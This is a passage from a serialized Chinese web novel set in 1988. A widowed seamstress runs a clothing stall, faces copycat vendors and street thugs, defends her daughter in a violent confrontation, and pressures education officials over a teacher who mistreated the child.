“水姐姐，你这下可是我圈子里炙手可热的人物了。好多人来拜托我联系你做衣服，你快说，怎么接？接谁的，我帮你去回复她们。”陈玲拉着周末在家休息的小莲开心地转圈圈，小莲被她逗得咯咯直笑。 水非仙眉眼含笑地看着面前二人，温柔道：“接谁的单，这个你替我做主。毕竟她们为人也好，各方面条件也好，你比我清楚。以后除了你和高歌我每个月固定一套，这些定制单我每月接五单。每单定价一千。你例外，你在我这儿终身半价。每个月一号，你来我家里拿成品，你看可以吗？” 陈玲听到水非仙的话微微睁大眼睛，她双手交叠支撑下巴，靠近水非仙的身边，惊奇地问道：“我肯定没问题啊。只是你就接五单啊？会不会太少了点？我就帮你这点活，就给我终身半价啊，你不怕我以后跟你掰了卷了你的顾客就跑了啊。” 水非仙捂嘴轻笑，伸手轻点陈玲的鼻子道：“你才不会，你不出钱给我倒贴都不错了。” 陈玲笑嘻嘻地摸摸水非仙点过的鼻尖，认真听着水非仙说话。 “这叫饥饿营销，一是我也没那么多时间定制那么多。二是我们这行，供不应求才能保证价格的稳定，甚至攀升。还有啊，你水姐姐我是想攒钱开店的，我每个月还得留半个月的时间制成衣，每个月最起码要保持一周的出摊率。要开店，大市场我不能丢，不然会被小圈子卡死的。这段时间就麻烦你了，等店开起来了，让他们直接去店里预约就好。” “你要开店我帮你啊！干嘛还要攒钱开呢？我借你不就好了？”陈玲嗔怪道，有些不满水非仙与她过于客气。 “你啊，”水非仙摇摇头，叮嘱道：“跟别人可不能这样推心置腹，会吃亏的知道吗？” “哦……” “我现在一个月保守下来也能有七千，攒四五个差不多就够了。我不是跟你客气，大不了就当你是投资者也没什么。只是，做生意要一步步来，乍然间开店没有客户基础，店面的风格，人员的招聘和培训这些都要下功夫耗时间的。做生意不是只盘下个店装修一下就好的。”陈玲无奈点点头，偷偷冲小莲摆个鬼脸。水非仙一谈起生意，就跟自己的老父亲那唠叨的样子非常像。 88年的一万元相当于今天的一百六十多万，也就是说此刻的水非仙已是月入百万，与今天的网红店店主不相上下。 “哎对了，你跟那个李秋实怎么样了？”说完正事，水非仙开始好奇闺蜜的感情生活。 “别提了，”提起讨厌的人，陈玲翻个白眼，“我还没毕业，我整天无所事事是正常的。可他呢，他要开始帮他爸接管生意了，按理来说应该很忙。但你猜他怎么样？也不知道跟谁学的，今天早上他抱着个吉他，在我卧室窗下鬼哭狼嚎了一早上！活生生给我吵醒，为躲他我都是走的后门跟田叔。他以为他是什么情歌王子吗？” 水非仙和艾小莲想到那画面对视一眼没忍住笑起来，她感慨道：“真是自古豪门出情种啊。也真是可怜了他，落花有意，流水无情啊。” “得得得，快忙你的。”陈玲急忙打断水非仙的话，催促她赶快投入工作。 “是是是，大小姐，那就麻烦你今天帮我看着小莲，我出去摆摊啦。吃饭问题就麻烦你带着她将就一下啦。”水非仙起身收拾东西。 陈玲挥手赶着她，“知道了，快去吧，都说好的，就不要反复唠叨啦。”说完就无情地跟着小莲走进她的卧室里，“哐”的一声将卧室门无情关上。 水非仙叹口气，破窗效应果然可怕，记得陈玲第一次来自己家的时候还是那样乖巧可爱，现在彼此之间熟稔后，这丫头在面对自己时越来越不客气。她无奈笑笑，还能怎么办，自己选的闺蜜，只能自己宠着。 水非仙下楼后打开南瓜马车外面的罩子，将带着的成衣，放到该放的位置收好，就推着摊位准备出门。在路过家属院大门时，果不其然又听到赵春燕一顿嘲讽。 “呦，我跟你们说啊，这做生意，可不能偷懒了。这三天打鱼两天晒网的人能赚到什么钱，别人可都是披星戴月起早贪黑的，拿什么跟人比嘛？” 水非仙理都没理，直接出门。时间宝贵，可不能花在一些没有价值的人身上。 现在每个月摆摊的收入预计在两千左右，是水非仙收入中占比较小的构成部分，她不抛弃这部分收入的原因，主要就是为了留个拓客渠道。 想清楚自己摆摊目的的水非仙，这次刻意选在之前从来没到过的区域，像往常一样，打开南瓜马车的大门，开始用香槟的气味吸引客人。同之前一样，不管路人买不买，都会有不少人围上来先观察一阵子。 水非仙见到来人渐渐多起来，刚想引导大家排队体验，就从人群中冲出来一位看上去三十左右的女人。 那女人上前一把抓住水非仙的胳膊，“就是你开的南瓜马车是吧？你这个害人精，害人不浅！大家可千万别上当了！我女儿，就是买了她卖的衣服，长了一背的红疙瘩，还去看医生了！” 那年代的人们比较团结，听着女人这么说，一下子就打断了想买东西的想法。几个高个子老爷们儿上来就把水非仙围住，想控制住水非仙不让她离开。 水非仙没有在意眼前的混乱，她只上前先向那女子毕恭毕敬道歉道：“真是好抱歉，给您带来不好的体验。这样吧，若确定真的是我卖出的衣服造成您女儿的不适症状，所有医药费，都由我来承担。只是，我要先确认一下那衣服，是不是出自我手。” 那女子抱臂轻哼 18.马车被砸 《后妈每晚都水群[八零]》全本免费阅读 水非仙带领着浩浩荡荡一群人前往派出所。由于人数过多，还引来Y城日报记者的跟踪采访。众人到达派出所后，只有一位民警小哥在岗，他登记下这位大姐的信息，颇有信心地跟大姐讲，今天来的人这样多，还有报社记者陪同，这样引发社会高度关注的事件，一定会尽快破案的，让她留下信息放心等着就好。有小哥的保证，维权的大姐也安心不少。 水非仙询问那小哥道：“同志你好，不知道这位大姐这种情况最近出现得可多吗？” 那小哥跟水非仙还有记者介绍大概的情况：“这城里不知道怎么了，摆摊的好几个都开始推个南瓜马车。他们车上卖的衣服往往都是以次充好，从他们那里买衣服的，出了事来报案的可不止大姐一家。这只是长痘痘都是好的，可能他们衣服存放的环境都不是很好，昨天还有个染上皮肤病的来报案。” 记者又问：“这些人除了推着南瓜车，还有没有其他的什么特征？” 小哥想想又补充道：“他们好像都喜欢把衣服搞出味道。听说头两天是在马车上放很多香槟汽水，好像是天气太热，又换成普通的劣质香水，总之都是有味儿的。” 水非仙听到这里终于证实自己的想法，她叹口气对小哥和记者说道：“这南瓜马车最早是我的主意，我的衣服用料好，全是我手工制成，上面喷的也是我自己特制的香水。可能是他们见我这么卖赚了点钱，就有样学样了。我的马车在外边的，我可以取样送检。” 小哥摇摇头道：“没有必要，服装安全还没个统一的标准。测出来结果用处也不大。甚至没有办法说他们卖的是伪劣产品。只是不值那个价而已，毕竟不是强买强卖都是自愿的情况下人家有的是说辞，比如买的是设计和样子什么的。” 水非仙想想，她对记者提议道：“记者同志，你看能不能这样，由您来刊登一篇报道。呼吁消费者们在摊位上买衣服尽可能减少贵价衣服的购买，谨防上当受骗。并将最近南瓜马车的事报道出去。” 记者本来就有这个想法，她自然是同意的。只是由水非仙主动提出来，她又有些不好意思，怕这么写会影响水非仙的生意。最后她想到个折中的办法，她拍下水非仙的照片，和文章一起同步刊登在报纸上，并声明那些南瓜马车都是对水非仙创意的模仿，且重点强调水非仙昨天帮助苦主维权的事迹。 于是第二天，水非仙的照片位于头版头条的《Y城日报》出现在各个报刊亭和邮局中。这个年代当地的报纸就是人们的微博热搜，基本上家家户户识字的都会看。哪怕自己不买，大部分单位也会订。 “呦，我们的名人下楼啦。”不出水非仙的意料，今天才下楼开锁自己南瓜马车准备出摊的水非仙，又碰上赵春燕的每日一演。 “不过也是啊！本来这钱就难赚，这回还多了好多跟着走一样路子的学人精，钱不得更难赚啊，还是那铁饭碗好，不管有没有人跟你学，你都饿不死。哎我跟你们说啊，都是街坊邻里的，有能力的还是帮一下，找人去补补袜子，缝缝扣子什么的，毕竟人家现在也是上过报纸的裁缝，是名人了！” 水非仙照常没有理会赵春燕，她边推着南瓜马车边在思考昨天的事。登上报纸这件事纯属自己无心插柳。到底也是好事一桩，免费的流量没有不要的道理。既然已经登上报纸，就要将资源最大化利用，今天就去摊位比较多，人流量比较大的地点好了。水非仙这么想着，推着南瓜马车就往地摊集市去。 正如她猜想的一样，在她到达地摊集市后，来逛集市的人看到这是今天登上报纸的人，都围了过来。水非仙本想着今天让让利，少赚一点，给关顾的顾客们打个八折。可惜，今天围过来的不止消费者。 几个男人，手中拎着不知道从哪里捡来的水管子，穿着棉T背心，龇着牙眯着眼，逐步往水非仙这里靠过来。 领头的是个看上去快四十的男人，头发有些凌乱，还留着小胡子。他们围上来后，本来想看看的顾客看到这些人，都纷纷躲开。 领头的男人，一脚踩在旁边摊位的凳子上，上下打量水非仙一眼，半天问一句：“你就是水非仙？”旁边摊位的摊主看着对方踩着他的东西，一句话也不敢说，只是将脖子缩一缩，尽量降低自己的存在感。 “对，我是。”水非仙迎上男人的目光，丝毫也不畏惧。 “知道我们今天来找你干什么不？”那男人把玩着手中的钢管，吸吸鼻子憋着嘴问道。 “不知道。”水非仙直直看着那人，气场不输给对方。 “你再给我耍牛逼？”男人没说什么，他旁边的小弟举着拳头就要往水非仙脸上挥。水非仙见着拳头来，也不躲不避，更没表现出害怕的样子。这时候要是表现出害怕，那正中对方的下怀。哪怕拳头真的打过来，只要打不死，每一道伤痕都是可以给他们定罪的证据。何况自己昨天还上过报纸，真的出事就是重大恶性事件。 在水非仙打算摆摊的第一天起，她就做好在这个年代摆摊不会容易，争地盘、恶性竞争不会少的思想准备，再加上自己还是个手无缚鸡之力的女人，那此刻的她就更不能退让。 “阿冲！不要那么暴躁。”眼见着拳头就要挥到水非仙的脸上。那一只脚踩着凳子站在人群正中的男人及时开口制止。 他将脚放下后，转过身来，和水非仙面对面，看着她的眼睛说道：“水非仙，是吧？这名字真绕口。被你举报的，是给你阳哥我赚钱的摊子。本来我们只打算跟你一样，弄个南瓜马车玩玩，没打算找你的事，出来混嘛谁都不容易。可你昨天主动找咱们麻烦了，你知道吧？” 这男人将手中的水管一下又一下在手上拍着，轻笑道：“看你长得这么好看，要是你阳哥我自己，也就放你一马了。但你阳哥手下还养着这么多兄弟，他们不答应是不是？你这么轻飘飘一句话，把兄弟们的财路全都给断了。你总得给他们一个交代不是？” 这位自称是阳哥的人说完，周围一圈的男人已经开始挥动手上的铁管，想比划比划。 “这样吧。”那位阳哥转过身对着那一群人说道：“给哥一个面子，把 19.飞来横祸 《后妈每晚都水群[八零]》全本免费阅读 在派出所做完笔录后，水非仙跟民警们确认搜集到的物证不错，就是自己那辆被砸碎的南瓜马车后，民警便告诉她可以回去了。 水非仙很会把握送礼的分寸。她决定自制一些脆皮肠，又在回去的路上定制上一面锦旗，准备第二天一起送去派出所。锦旗的价格不贵，水非仙只花十几元做个不大的。她看着手中的锦旗，想着不大有不大的好处，现在定制一面上百元的锦旗对自己来说也是不痛不痒，可她要真定制最贵的，才是犯蠢。主要是一方面，定制那样大的锦旗，反而显得她心虚，好像求人名不正言不顺似的。另一方面，最小的锦旗才比较符合自己孤儿寡母的身份。 第二天出摊前，她先带着自己制的香肠和锦旗去派出所。当年的派出所，一个所里的人都在一个房间里围着一起坐，只为烤到冬天的炉子。水非仙进屋后，还没等民警们开口，先把手中的东西放下，柔柔弱弱道：“昨天多亏了大家了，这是我一点心意。自己家做的，不贵，只够给大家尝个味儿的，好谢谢你们的救命之恩。” 所长一听，连连摆手拒绝：“好意我们心领了，这怎么能拿你们的一针一线呢？赶紧把东西拿回去，别让我们犯错误。”水非仙微微一笑，温柔道：“您误会了。这就是我自己做的一点香肠。自家做的吃食，算不上犯错，还有这锦旗，也不大，都是想道个谢。” 见那所长还想说什么，水非仙连忙又开口：“当年抗美援朝的时候，还让人家朝鲜女子顶着打糕来送呢，怎么这点香肠就不行了？我送这些也不白送，我一个寡妇，摆个摊赚点钱养活自己不容易。就想问问大家都在哪儿巡逻平时，想去大家巡逻的地方摆摊，我也怕那些混混再找上我。” 所长一低头，看这帮年轻的民警沉不住气，已经在看着那香肠咽口水了。那时候派出所中午的灶上最好也就是能吃两个白面馍馍配点素菜，也难怪这帮小年轻们馋得不行。真是见鬼，自家做的香肠真不是什么金贵的东西，可眼前这香肠也不知道是怎么做的，闻着真是香。他叹口气，松口道：“算了，放下吧，这是最后一次，不能有下次了啊。你要摆摊别离主干道太远，主干道附近一般都有人巡逻的，等会儿我们再给别的所都打个电话把你的情况给说下，都会帮的。” 水非仙离开派出所后，没急着走，她又上派出所隔壁的小卖部去一趟，同样也送下一些香肠道：“师傅啊，这是我自家做的香肠。我摆摊卖衣服的，叫水非仙，马上要开店了。昨天出摊的时候被欺负，多亏隔壁的同志们救了。这才做着点送来谢谢人家。这不，还多出来些，想着里面的人跟你关系都不错，也让你尝尝。”能租到这位置的店家大概率不简单，这个年代这方面大家没那么敏感，店面开得近和这些人走得近是肯定的。说不定以后还能用得上，多条人脉多条路。 果然这店主笑嘻嘻地眯着眼接过，他点头道：“行，那我就不跟你客气收下了。你的事他们来买烟的时候我也常提提。” 水非仙和店主道别后，出门离开。在路过派出所门前，她向里面张望一眼，只见自己送的那面锦旗已经被挂在正中的墙上。这可是锦旗，怎么可能不心动？水非仙微微一笑，83年严打流氓罪闹得沸沸扬扬，自己这个后世人都知道当年的力度，如今只过去五年而已，想来威慑力并不会褪色。水非仙没指望凭这就能给那些混混颜色瞧。但她可以保证，顶着这个嫌疑，那什么阳哥的，别想再大摇大摆地出门，更别提短时间聚众再来找她的麻烦。 正如水非仙预料的那样，接下来的一个月在民警们的守护下她安然无恙度过。虽然南瓜马车已被砸，可她水非仙自己的名气还在，她衣服的名气还在，从九月底直到十月底她粗略算一下，高定加上成衣一共算下来净收入竟突破八千大关，比自己预估的还要多上一千。 十月整个月，水非仙照例接陈玲六单，又把成品给高歌送去，可惜高歌在忙，水非仙将衣服放在前台就离开。剩下的便是制成衣，出去摆摊，水非仙并没有多接单，甚至比起上个月真的是闲下来不少，就这样，在今天十月的最后一天，算下来手头都快有一万块了，这代表店面可以提前开始张罗准备。 克里斯汀见到水非仙连店都还没开的情况下，一个月能赚这么多钱，忍不住在群里感叹：这真是太疯狂了，我那时候要是能有这样的好光景。也不至于会这样。 伊夫圣罗兰：…… 克里斯汀拉克鲁瓦：罗兰前辈，有话可以直说的，没有关系。 伊夫圣罗兰：其实你们两个属于同一届，现在就是1988年。 克里斯汀拉克鲁瓦：谢谢您的指正，这下我总算更难过了。 水非仙：拉克鲁瓦先生，请不要难过，我赚到这么多钱，可不是什么好信号。我们现在的cpi指数高达百分之二十一，非常不正常又怕人的数字，最晚到明年夏天，只怕市场就要变天了。到时候的我，真不一定就会比您的营收状况要好。 X：加油，你不会，辛苦了。 X的神出鬼没水非仙已经习惯，她挑挑眉，回复个好就睁开眼睛退出群聊。 门外陈玲催促着：“你到底要睡到什么时候啊？赶紧出来，别偷懒了。” “来了。”水非仙起身开门，收拾好东西随着陈玲和艾小莲一起出门。 下楼的时候陈玲还在唠叨着：“等会儿你就去摆摊，我和小莲去附近逛街，快到晚上的时候我们来接你，再一起回家。今天说好晚上要陪我去路边吃烤羊肉串的，你要早点结束摆摊，你们俩反正谁都不许耍赖。田叔我都使回去了，咱们就走着去走着回。” 艾小莲看着陈玲耍宝的样子直笑，水非仙却微微皱起眉头：“半夜，就咱们三个女人一起吃烧烤，安不安全啊？还是路边。” 陈玲拍拍她的肩膀，胸有成竹道：“放心，我能打没准备的仗吗？我事先跟人打听过了，这两天有领导下来检查工作，这点子警力 20.何谓母亲 《后妈每晚都水群[八零]》全本免费阅读 千钧一发之际，一声女子的怒喝声传来：“你在干什么！”水非仙抬头望去，是陈玲和小莲，她们赶过来了。 艾小莲捂住嘴，眼泪扑簌簌地往下掉。才九岁的她哪里见过这样的场面？她只知道妈妈总是告诉自己，晚上不要出门，出门一定要跟紧大人。妈妈还说过等自己长大后，一切都会好的。她从前不明白为什么，直到这一刻来临。 不能让坏人带走妈妈，她只有妈妈了。向来胆小的小莲，不知哪来的勇气，她从路边捡起块石头，用力一抛砸在刘阳的脑袋上，哭着大骂：“坏人，放开我妈妈！” 这石头恰好正中刘阳的眉心，他一吃痛，恶狠狠地扑过来。本来还在思考怎么救人的陈玲见刘阳扑过来，立刻拿身子挡住艾小莲，猛地将艾小莲往后一推，大喊：“小莲快跑！去找警察叔叔！” 可终究是来不及，刘阳已经扔下水非仙朝着艾小莲扑去，陈玲冲上去想救被用力地推倒摔在另一边。 此刻被扔在地上的水非仙，来不及管自己受的伤，她看着刘阳扑向小莲，目眦尽裂。这人要伤害的是她的女儿，她怎么能允许？ 眼见刘阳的手距离小莲已经不远，安静的巷子中“哐”的一声巨响产生后，刘阳哀嚎起来。 只见刘阳的对面，站着水非仙，她正在恶狠狠地咬着牙，她的头用力到微微颤抖，她的双眼猩红血丝布满眼球。而她的手中，是刚才水非仙急中生智砸碎的半个香槟汽水瓶，汽水瓶从中间破碎掉凹凸不平的边缘，此刻被水非仙咬着牙狠狠插进刘阳要摸到艾小莲的那只胳膊中。 刘阳痛苦地哀嚎着，而水非仙则是用力将那香槟汽水瓶插得更深一些，她看着眼前男人，痛苦的样子，咬着牙一字一句道：“你给老娘记住，人活着，总有比命更重要的东西。你眼前的这俩姑奶奶，就是老娘的底线。你要是碰她们，大不了我这条命不要，我拉着你一起去死。” 被水非仙激怒的刘阳，不知为何，看到此刻水非仙的眼神，竟有一种想要落荒而逃的本能恐惧感。那是一种，母狼即将拼命保护自己孩子的眼神。而母狼，为了保护自己的孩子，被逼到极点可以独自和狼群战斗，到达绝境时，甚至在濒死之际咬断众多公狼的咽喉。 说完她又摸出刚刚那一百块。扔在刘阳的脸上，大喝道：“拿着这钱滚蛋，你和你那些混混朋友，真当别人怕你们。下次要是再来，我也不客气了。” 水非仙松手，又从旁边再次拿起一瓶香槟汽水，砸碎，拿着瓶口抵在刘阳的眼睛前，再一次恶狠狠地问：“滚不滚？” 刘阳疼得头冒冷汗，他从地上捡起那钱，低着头快速离开。离开前留下明显语气软上许多的一句：“你给我等着。”就快速逃离现场。 在刘阳跑不见的一瞬间，水非仙脱力，摔坐在地上，她的手开始微微颤抖，而她看着手上的血迹也忍不住开始全身发抖，手中的半个酒瓶也因为她手软而掉在地上。 从小都是乖学生的水非仙哪里经历过这些？更何况还见了血。 艾小莲和陈玲赶紧冲上去，陈玲的声音也带上哭腔：“水姐姐，你没事吧？” 小莲哭得更大声：“妈妈，妈妈，你别吓我。” 艾小莲的叫声唤回水非仙的注意力，她拼命控制住自己，冲小莲勾起一抹虚弱的笑容，“宝贝，没事了，别害怕。妈妈没事。”听到水非仙的声音，艾小莲不管不顾地扑入妈妈怀中，就在刚才，她以为她的全世界就要没了。年幼的艾小莲不知该怎么表达自己的情绪，她拼命大哭着，水非仙听懂了，她的女儿是在说：我爱你。 正在这时，一阵摩托车的喇叭声响起，水非仙瞬间做出反应，她快速将自己身上的衣服扯破，又将头发也弄得凌乱。眼泪唰一下地倾泻而下。 “都停手，闹什么闹什么？”两辆红色的摩托车停到身前，两名警察拿着警棍从上面下来。艰苦的岁月里，那种军绿色或者白蓝色相间侧边可以载人的警用摩托实际上已经算是顶配，这两天那样的摩托车都被调到警控最前线，能过来的只有这种最普通最常见的民用摩托车，也就不会有警笛声。 “水小姐？怎么是你？我们收到报警说有人斗殴这就来了，这是怎么了？你还好吗？”来的人恰好就是水非仙送过香肠的派出所民警。 水非仙悲伤地看一眼面前的民警小哥，害怕地将小莲揽入怀中，她边流泪边泣不成声道：“同志，刘阳偷偷回来了。他因为我报警，想恶意报复我。刚才想对我耍流氓，还想伤害我的女儿跟我的朋友。我求求你们，救救我女儿，我可以出事，我的女儿不行。”她越说越伤心，配着她身上流着血，衣服被撕破头发还乱糟糟的样子看得民警想到那刘阳恨得牙痒痒。 这个刘阳，之所以盯着这对母女，不就是看人家孤儿寡母好欺负。这对母女看上去已经够可怜的，何况水小姐人那么好，领导都老夸她，还会做那么好吃的香肠，真是太气人了。 为首的民警上前安慰道：“你放心，我们马上找个女民警过来，让她陪你们去医院看看，咱们先看好。剩下的交给我们。真是无法无天了，这正是展示市容市貌的时候，还做出这种伤天害理的事。你放心，我们就按最高等级往上报，必定让他尽快落网。” 水非仙抱着小莲，红着眼睛，嘴角颤抖，感动道：“真的是谢谢你们，要不是有你们我们几个女孩子，都不知道该怎么办才好。” 在女民警的护送下，水非仙三人晚上的聚餐只能无奈取消了。治疗过所有伤口后，女民警又陪三人回到派出所录了口供，为防止三位女孩子夜里行走不安全，还专门将三人送回家中。 一回到家里，失去力气的三人就躺在床上。这时候哪怕再饿，都不会有胃口的。 她们就这么挤在水非仙的大床上，一起抬头看着天花板发呆。 “你今天不回去了吧？就在这里跟我和小 21.手绢 《后妈每晚都水群[八零]》全本免费阅读 水非仙三人早上醒来再次睁眼时，时间已经来到十一月。 一场秋雨一场寒，昨晚半夜Y市下了点小雨。只是仅仅过去一夜，就让吃过早饭后刚下楼的水非仙三人在秋风刮过时，体会到一阵刺骨的严寒。 同要去上学的小莲和陈玲道别后，水非仙就开始今天一天的行程。每个月一号都是她最忙的时候。仅是一个上午，她要做的事都不少，首先要去陈玲家送上个月的订单，并取走对方提前准备好的这个月的订单及要求。等到陈玲晚上放学回家，就会安排田叔将这些订单送到买家手里。接着要去高歌所在酒店前台，寄存高歌这个月的订单。最后还要去牛家进这个月制作衣裳要用到的布料。 等一切都忙完，水非仙看下时间，正好小莲快要放学。她想到昨天本来说好要去吃烧烤，结果出事没吃到。不然今天中午带小莲出去吃点好吃的弥补一下。 这么想着她就来到小莲的学校门口，等孩子放学。 中午放学的铃声一响，孩子们就从学校里蜂蛹而出。水非仙为了不要和小莲错过，找到一个比较高的台阶上去，仔细筛查着每一张路过孩子的脸。 两分钟后，她终于看到孩子出来。她刚要招手喊小莲，就看到有三个男孩子，跟在小莲的身后好像在喊着什么，艾小莲的眼睛也红彤彤的。 这是被欺负了？水非仙赶快从台阶上下去，走到艾小莲身边。女儿看到妈妈过来，有一瞬间的慌乱，然后牵着妈妈的手就想往前走。 那三名男生看到艾小莲的妈妈过来，不仅没有因此收敛，反而更加高声地在后面追着二人齐声喊着：“北风吹，秋风凉，寡妇睡觉心里痒。没指望，没指望，寡妇养个呆女娃儿。” 听到这话，水非仙有些震惊，这些话居然能出自三年级孩子的口中。还没等到水非仙有什么反应，艾小莲将自己的书包摘下，用力砸向那些男生，并将其中一个撞倒在地。 “不许你们说我妈妈！你们滚啊！”艾小莲红着眼睛怒道，水非仙低头看着女儿，她的眼睛里，已经不再有往日的懦弱胆小，取而代之的是令自己眼熟的狠厉决绝。 那些男生被撞倒在地，自然不高兴。他们将彼此扶起来，就想上前再说什么。却被水非仙一脚上去，将最前面的男生踹倒在地。 她的脚用力在地上踱一下，用看垃圾的眼神看着眼前的三个孩子，她恶狠狠道：“我女儿说了，让你们滚。我水非仙确如你们所说，是个寡妇。可我这个寡妇，连大老爷们儿都碎酒瓶捅过，更别说几个毛都没长全的小孩。要告状尽管去告诉你们家长，这些话不可能是你们自己想出来的。等你们家长找过来，我正好连他们一起收拾。不过，要是小莲再告诉我你们欺负她，只要有一次，我有的是办法弄你们，知道吗？”她一字一句说道。 那三个男孩子再没敢多说一句话，直接跑掉。 水非仙什么话也没说，这里离校门太近，她牵起艾小莲的手，先离开这里再说。 水非仙没有带艾小莲回家，艾小莲的双眼哭成这样，要是被赵春燕这样的人看到，不知道又要说什么。孩子的自尊心宝贵，她得好好守护。 水非仙领着艾小莲来到离这里最近，城中的一家西餐厅。 这个年代，吃得起西餐的人太少，虽然是饭店，店中的顾客也不多。店中没有包间，只有大厅。 水非仙带着艾小莲来到清净远人的二楼一角坐下，服务生立刻送上菜单。 “两份咖喱饭，一份牛排切好，还有一杯橙汁，一份冰激凌。”水非仙翻着手中的菜单，点着菜，那名服务生快速将单子手写好。撕下放在桌角，方便等会儿上菜后核对。艾小莲则是一直皱着眉头。 等到服务生离开，水非仙假装什么事都没发生，用平时说话的语气开口问艾小莲：“怎么啦？从刚才开始你就一直皱着眉头，不开心吗？不开心的话就多吃点甜的，应该会有帮助。” 艾小莲摇摇头，认真道：“不是不开心，你是因为我哭过才带我来这么好的餐厅吗？我刚看到菜单上的价格，加起来一共要一百块，是半个月的工资了！妈妈你不是要攒钱开店，怎么可以为我花这么多钱。我还是个孩子，这样不好。” 水非仙“噗嗤”一声笑出来，怎么还有小朋友自己pua自己呢？不过说起来，不知不觉间，这孩子的变化真大，现在能这么快调整好自己的心态，真是进步很大。她故作玄虚对艾小莲道：“没错，我是差钱，但你对你妈妈现在多有钱，一无所知。而且我可以不要脸地说一句，我赚钱很快，所以你不用担心。”上个月加上这个月的到账款还有之前剩下的，水非仙的手头已经有一万六，已经超过同时代很多人。 看着女儿半信半疑的样子水非仙又说：“我们小莲，没什么想跟妈妈说的吗？”她开始思考怎么引导女儿将今天发生一切的前因后果告诉自己。 “我哭不是因为他们，他们平时也不经常这么过分。”艾小莲开口。这令水非仙有些惊讶，她还以为自己需要费一些周折，没想到这孩子现在竟如此信任你。 “你慢慢说，我听着。”水非仙上半身趴在桌子上，静静聆听。 “其实，与其说是她们欺负我，不如说是白老师干的。妈妈，白老师今天过分了。”艾小莲看着水非仙的眼睛认真道。 这个时候，还没有纸巾这种东西，低年级孩子们在学校又需要一件东西来保持卫生，擦鼻涕擦手之类的，那便是手帕。并且这时候的体育老师也喜欢带着孩子们丢手绢之类的游戏，所以低年级小学生一般上学都被要求带着手帕，更有甚者，城里一些要求相对高一些的学校，还会抽查手帕。 东城小学的校长最近开会反复强调要注意孩子们的个人卫生。快要换季，尤其是要注意病从口入，手帕的卫生清洁很重要。 白老师因此要求孩子们每天回去必须洗干净自己的手帕，她要时不时抽查。 一向将老师的话当 22.解决 《后妈每晚都水群[八零]》全本免费阅读 水非仙将艾小莲带回家里，告诉她这两天在家里好好休息，暂时不用去学校。接着水非仙将白老师的所作所为，这次连带着从前的，有理有据完完整整写下来，写成材料，又誊抄三份。然后取出两千块钱，跟艾小莲交代一声便出门。 水非仙来到当地几家报社，把资料交给报社的工作人员，并出钱买下四家当地受众最广报纸头的头版位置，一买就是两天且加急，从明天一早就开始印刷售卖。当然，报社将使用化名，不过这不影响。 四家报社都跑完，她才回家。到家里后，水非仙又开始教女儿学习书本上的知识，不能让她在居家的这段时间落下功课。在教女儿的过程中，水非仙惊喜地发现，艾小莲其实很聪明，很多东西讲一遍就能会，并不是白老师口中不好好学习的类型。反而白老师对艾小莲的指责和长期给小莲灌输自己成绩不好的行为，才会容易令孩子产生厌学心理。久而久之，假的学习差就会成为真的成绩差。 夜里，陈玲来水非仙家中商量订单细节的事。从水非仙的口中得知白老师的事后，她一拍桌子大怒道：“还真是开了眼了，教师这么神圣的职业，出过那么多伟大的人民教师。怎么还有这种人，也配当老师？”说完，她又担忧地看向水非仙道：“她敢这么做恐怕是有关系，你登报即使被她看到，用处也不大的。” 水非仙轻笑一声：“谁告诉你，我登报是为给她看的？” 陈玲看到水非仙胸有成竹的样子，也放心很多。“你有主意就行，只是如果失败了，记得跟我说，她有靠山，你也不是没有。你的靠山就是我，谁家里还不认识两个人了？就算我没有，李秋实也有，大不了我陪他吃两顿饭。”陈玲认真道。 “好，我的靠山。” 途有好伴，不觉路远。 第二天，水非仙起得很早，她为今天也要在家里自习的艾小莲做好早餐后，就出门。先是第一时间到邮局，将那四种报纸买好，又马不停蹄前往教育局。 Y城教育局，只有一个小院子，里面一栋二层小楼。一楼是在这里工作的老师们的办公室，二楼是各位领导的办公室。水非仙跟看大门的师傅说一声，是家长来办事，人家看水非仙是位女士也没拦着，就让进了。主要也是能找来教育局的家长其实不多，跟后世几乎天天有家长去哭闹的教育局，完全是两个地方。 水非仙径直走到教育局局长办公室的门口，静静等待，没过多久，便在第一时间等到局长。 马局长在看到办公室门口的水非仙那一刻，有些愣住，不认识的面孔等在自己办公室门口，实属罕见。“你找谁？”马局问道。 水非仙看到对方掏出钥匙，打开办公室门，立刻道：“我是学生家长，找您是有事。” 学生家长？学生家长找自己做什么？马局有些疑惑，还是将水非仙请进来。 打开办公室的门后，马局在办公桌后坐下，招呼水非仙去坐自己对面的沙发。 “那这位家长，你找来是有什么事吗？”马局问道。 水非仙欲语泪先流，她的肩膀轻轻抽动，将手中的四份报纸递给马局，微微抽泣道：“您看看吧，我就是这孩子的家长。” 马局接过报纸，认真看起来。看完后他合上报纸，笑道：“这不是什么大问题嘛，这样，我打电话给东城小学的校长，让他安排一下，让这老师给孩子道个歉，你看行吗？” 水非仙抬起那红红的眼眸，这双眸子此刻写满委屈与无措，她开口道：“可是局长，我给您看的报纸，是从报刊亭里买回来的。现在全城的人都知道了，这下白老师的名声臭了，她得记恨我家女儿的，这事搞得这么大，我也害怕会影响咱们东城小学的声望。你不知道，今天早上我都是偷偷出门的，那记者都围在我家门口了。您说，东城小学的领导们要是生气了，我这孤儿寡母也没办法啊，只能来求求您了，求您给帮着想个办法。” 听到这里，马局再也坐不住，他起身去翻箱倒柜，翻出碧螺春来给水非仙泡上一杯，语重心长道：“哎呀，你说得有道理，这下这个事闹得不大了吗？你说的这种情况倒真有可能发生，不是我说你，孩子的事，怎么能闹这么大呢？有事跟我跟东城小学的校长反馈，我们来解决不就好了吗？” 水非仙无辜道：“您不知道，我是个做衣服的，就是给有钱有权的人做定制的。我自己虽然没本事，可来光顾我生意的，都是些有头有脸的。昨天小莲回家哭红着眼睛，闹着再也不去上学了，这话就给人听到了。我们家小莲，一直都特别乖，招他们喜欢，认了好几个干爸干妈。昨天一听，都很生气，这报纸就是他们给登的。他们还说，两年前就通过了什么义务教育法还是什么的，现在这老师和这学校弄得孩子连义务教育都不愿意接受了，要拿这个找人说事呢。他们都说大人物，他们一时兴起，可我就是个普通人，这闹得……您说我该怎么办啊……”水非仙说完看上去哭得更伤心了。 马局在听到《义务教育法》时，脸色一瞬间变得有些白，接着他就开始微笑着安抚水非仙道：“这个事确实难办，但你既然找到我，我就不能不给你个交代。哪怕这学校，现在我们教育局都是管不住的，我也得今天想办法给你解决了。你就放心。” 说完他拿起面前的固定电话，拨了几个号，然后道：“哎，杨校长，是我，你来一下我办公室，没错，现在来。” 说完马局挂掉电话，微笑着对水非仙道：“等一会儿，马上就来了。” 